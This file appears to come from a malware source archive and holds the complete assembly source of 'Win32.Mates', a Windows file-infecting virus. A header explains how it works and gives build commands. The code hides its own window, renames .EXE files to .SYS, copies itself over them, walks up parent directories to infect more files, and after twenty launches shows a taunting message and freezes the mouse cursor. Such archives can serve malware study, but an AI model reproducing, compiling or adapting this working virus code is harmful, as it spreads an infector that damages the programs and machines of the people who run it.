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MalwareSourceCode/Win32/Infector/Win32.Mates.asm
TheDuchy cfc6699241 Updated dir structure in Win32
2020-10-16 23:26:21 +02:00

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NASM
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COMMENT#
____________________________________________________________________________________________
...:: Win32.Mates - Virus ::...
- Version 1.0 -
- by DiA /auXnet -
- (c)02 [GermanY] -
____________________________________________________________________________________________
+++++Disclaimer+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+I am NOT responsible for any damage that you do! You can need the code however you want...+
+My motherlanguage is not English, I hope you understand what I mean. +
+Feel FREE to write any Comments to +
+ DiA_hates_machine@gmx.de +
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Why the Hell "Mates":
This Virus is written for all my Mates in real life!
How does it work:
- get da real host's name (.SYS)
- create a thread (Virus)
- run Host
Virus->
- start after five sek
- rename found .EXE file to .SYS
- copy itself in .EXE file
- if no more filez in current directory -> cd.. (with my method)
- infect again
- when no more fileZ check counter
- if no payload give full control to host
Payload:
- new counter method (via Get/Set CaretBlinkTime)
- set new caret blink time
- inc it
- 20 starts of da host???
- if yes set new caret blink time (-20) stop the mouse cursor and show a message
- if no inc it again and back to host
Special:
- the counter
- hide da fucking window (with TASM32)
- work with threads
Here comes da 1st geneartion:
;-----MatesSys.asm-----cut------------------------------------------------------------------
.386
.model flat
jumps
extrn MessageBoxA:PROC
extrn ExitProcess:PROC
.data
oTitle db '°°°1st Generation°°°',0
oMsg db 'This is da 1st generation of Win32.Mates - Virus',10,13
db ' by DiA /auXnet',10,13
db 'Have Fun...',0
.code
start:
push 0
push offset oTitle
push offset oMsg
push 0
call MessageBoxA
push 0
call ExitProcess
end start
;---------------------cut-------------------------------------------------------------------
To Compile the Mates - ViruS:
tasm32 /z /ml /m3 Mates,,;
tlink32 -Tpe -c Mates,Mates,, import32.lib
To Compile the Mates - SYS:
tasm32 /z /ml /m3 MatesSys,,;
tlink32 -Tpe -c MatesSys,MatesSys,, import32.lib
rename MatesSys.exe Mates.sys
#
;-------------------------------------------------------------------------------------------
.386
.model flat
jumps
;-----needed API's--------------------------------------------------------------------------
extrn MessageBoxA :PROC
extrn SetConsoleTitleA :PROC
extrn SetCursorPos :PROC
extrn SetCaretBlinkTime :PROC
extrn SetWindowPos :PROC
extrn SetCurrentDirectoryA :PROC
extrn Sleep :PROC
extrn FindWindowA :PROC
extrn FindFirstFileA :PROC
extrn FindNextFileA :PROC
extrn CreateThread :PROC
extrn CloseHandle :PROC
extrn CopyFileA :PROC
extrn CreateProcessA :PROC
extrn GetCommandLineA :PROC
extrn GetCaretBlinkTime :PROC
extrn lstrcpyA :PROC
extrn ExitProcess :PROC
;-------------------------------------------------------------------------------------------
;-----data's for the Virus------------------------------------------------------------------
.data
oTitle db '[Win32.Mates Version 1.0]',0
oMsg db 'I WANNA SAY HELLO TO SOME MATES:',10,13
db ' o DeathRider - Colorado SuckZ, Bitch ;)',10,13
db ' o Herr H. - Smoke together!',10,13
db ' o Danny - Rock ''n Roll',10,13
db ' o Pascal - I need some weed...',10,13
db 'AND ALL THE OTHER FUCKERZ :)',10,13
db 'Ride On and THANX for all',10,13,10,13
db ' greetz DiA /auXnet',0
MyConsoleTitle db '.:.',0
FileMask db '*.EXE',0
WindowHandle dd 0
ThreadHandle dd 0
ThreadID dd 0
FindHandle dd 0
ProcessInfo dd 4 dup (0)
StartupInfo dd 4 dup (0)
Win32FindData dd 0,0,0,0,0,0,0,0,0,0,0
TargetFile db 200d dup (0)
CreateFile db 200d dup (0)
VirusFile db 200d dup (0)
HostFile db 200d dup (0)
Directory db 200d dup (0)
;-------------------------------------------------------------------------------------------
;-----Rock 'n Roll--------------------------------------------------------------------------
.code
Mates:
;-------------------------------------------------------------------------------------------
;-----hide da window------------------------------------------------------------------------
mov eax,offset MyConsoleTitle
push eax
call SetConsoleTitleA
call Sleep5 ;it suckz without sleep
mov eax,offset MyConsoleTitle
xor ebx,ebx
push eax
push ebx
call FindWindowA
mov dword ptr [WindowHandle],eax
call Sleep5
mov eax,01
xor ebx,ebx
mov edx,20000
push ebx
push eax
push eax
push edx
push edx
push ebx
push dword ptr [WindowHandle]
call SetWindowPos
;-------------------------------------------------------------------------------------------
;-----create a thread (virus)---------------------------------------------------------------
mov eax,offset ThreadID
xor ecx,ecx
mov edx,offset RunMates
call MakeThread
;-------------------------------------------------------------------------------------------
;-----get hostname (.sys) and run it--------------------------------------------------------
call GetCommandLineA ;via command line
mov edx,offset VirusFile
push eax
push edx
call lstrcpyA
mov esi,offset VirusFile ;fuck da "
call GetPoint
add esi,4d
mov dword ptr [esi],00000000h
push offset VirusFile+1
push offset HostFile
call lstrcpyA
mov esi,offset HostFile
call GetPoint
mov dword ptr [esi],5359532Eh ;rename to .SYS
mov eax,offset ProcessInfo
xor ebx,ebx
mov ecx,10h
mov edx,offset StartupInfo
mov edi,offset HostFile
push eax ;run host
push edx
push ebx
push ebx
push ecx
push ebx
push ebx
push ebx
push edi
push edi
call CreateProcessA
Wait4Mates:
jmp Wait4Mates ;wait for da virus
;-------------------------------------------------------------------------------------------
;-----here startz da virus (after 5sek)-----------------------------------------------------
RunMates:
mov eax,5000
push eax ;wait 5sek before run
call Sleep
;-------------------------------------------------------------------------------------------
;-----cd.. with another method--------------------------------------------------------------
mov eax,offset HostFile
mov edx,offset Directory
push offset eax ;copy host name 2 directory
push offset edx
call lstrcpyA
mov esi,offset Directory
call GetPoint
mov edi,esi ;handle it in edi
mov dword ptr [edi],00000000h ;fuck da point
DotDot: ;it workz!
cmp byte ptr [edi],'\'
jz ClearAndSet
cmp byte ptr [edi],':' ;C:\ -> cd.. -> suckz
jz CheckBlink
dec edi
jmp DotDot
ClearAndSet:
inc edi
mov dword ptr [edi],00000000h
sub edi,2
mov eax,offset Directory
push eax
call SetCurrentDirectoryA
;-------------------------------------------------------------------------------------------
;-----infect some filez---------------------------------------------------------------------
mov eax,offset Win32FindData
mov edx,offset FileMask
push eax
push edx
call FindFirstFileA
mov dword ptr [FindHandle],eax
FindNext:
cmp eax,-1 ;error -> cd..
je DotDot
test eax,eax ;no more filez -> cd..
jz DotDot
mov eax,offset TargetFile
mov edx,offset CreateFile
push eax
push edx
call lstrcpyA
mov esi,offset CreateFile
call GetPoint
mov dword ptr [esi],5359532Eh ;rename to .SYS
mov eax,offset CreateFile
mov edx,offset TargetFile
mov ecx,01
call CopyIt
mov eax,offset TargetFile
mov edx,offset VirusFile+1
xor ecx,ecx
call CopyIt
mov eax,offset Win32FindData
push eax ;search more filez
push dword ptr [FindHandle]
call FindNextFileA
jmp FindNext
;-------------------------------------------------------------------------------------------
;-----the funny part ...the payload---------------------------------------------------------
CheckBlink:
call GetCaretBlinkTime ;kewl counter!
mov esi,eax ;handle it in esi
cmp esi,1520
ja Set1499 ;bigger
cmp esi,1500
jb Set1501 ;smaler than 1500 mil sek
GoOn:
cmp esi,1519
jne exit ;exit when not 1519
inc esi
call SetBlink ;inc da counter
mov eax,offset ThreadID
xor ecx,ecx
mov edx,offset Message
call MakeThread ;show a nice message
CursorSleep: ;fuck da cursor
mov eax,666
mov edx,999
push eax
push edx
call SetCursorPos
jmp CursorSleep ;foreva ;)
exit:
inc esi
call SetBlink ;inc da counter
xor eax,eax ;null
push eax
call ExitProcess ;give full control to host
Set1501:
mov esi,1501
call SetBlink
jmp GoOn
Set1499:
mov esi,1499 ;go from start
call SetBlink
jmp exit
ret ;thraedend
;-------------------------------------------------------------------------------------------
;-----Sleep5 procedure----------------------------------------------------------------------
Sleep5:
mov eax,05
push eax
call Sleep
ret
;-------------------------------------------------------------------------------------------
;-----GetPoint procedure--------------------------------------------------------------------
GetPoint:
cmp byte ptr [esi],'.'
jz PointFound
inc esi
jmp GetPoint
PointFound:
ret
;-------------------------------------------------------------------------------------------
;-----MakeThread procedure------------------------------------------------------------------
MakeThread:
push eax
push ecx
push ecx
push edx
push ecx
push ecx
call CreateThread
mov dword ptr [ThreadHandle],eax
push dword ptr [ThreadHandle]
call CloseHandle
ret
;-------------------------------------------------------------------------------------------
;-----Message Thread------------------------------------------------------------------------
Message:
mov eax,offset oTitle
mov edx,offset oMsg
xor ebx,ebx
push ebx
push eax
push edx
push ebx
call MessageBoxA
ret
;-------------------------------------------------------------------------------------------
;-----CopyIt procedure----------------------------------------------------------------------
CopyIt:
push ecx
push eax
push edx
call CopyFileA
ret
;-------------------------------------------------------------------------------------------
;-----SetBlink procedure--------------------------------------------------------------------
SetBlink:
push esi
call SetCaretBlinkTime
ret
;-------------------------------------------------------------------------------------------
end Mates
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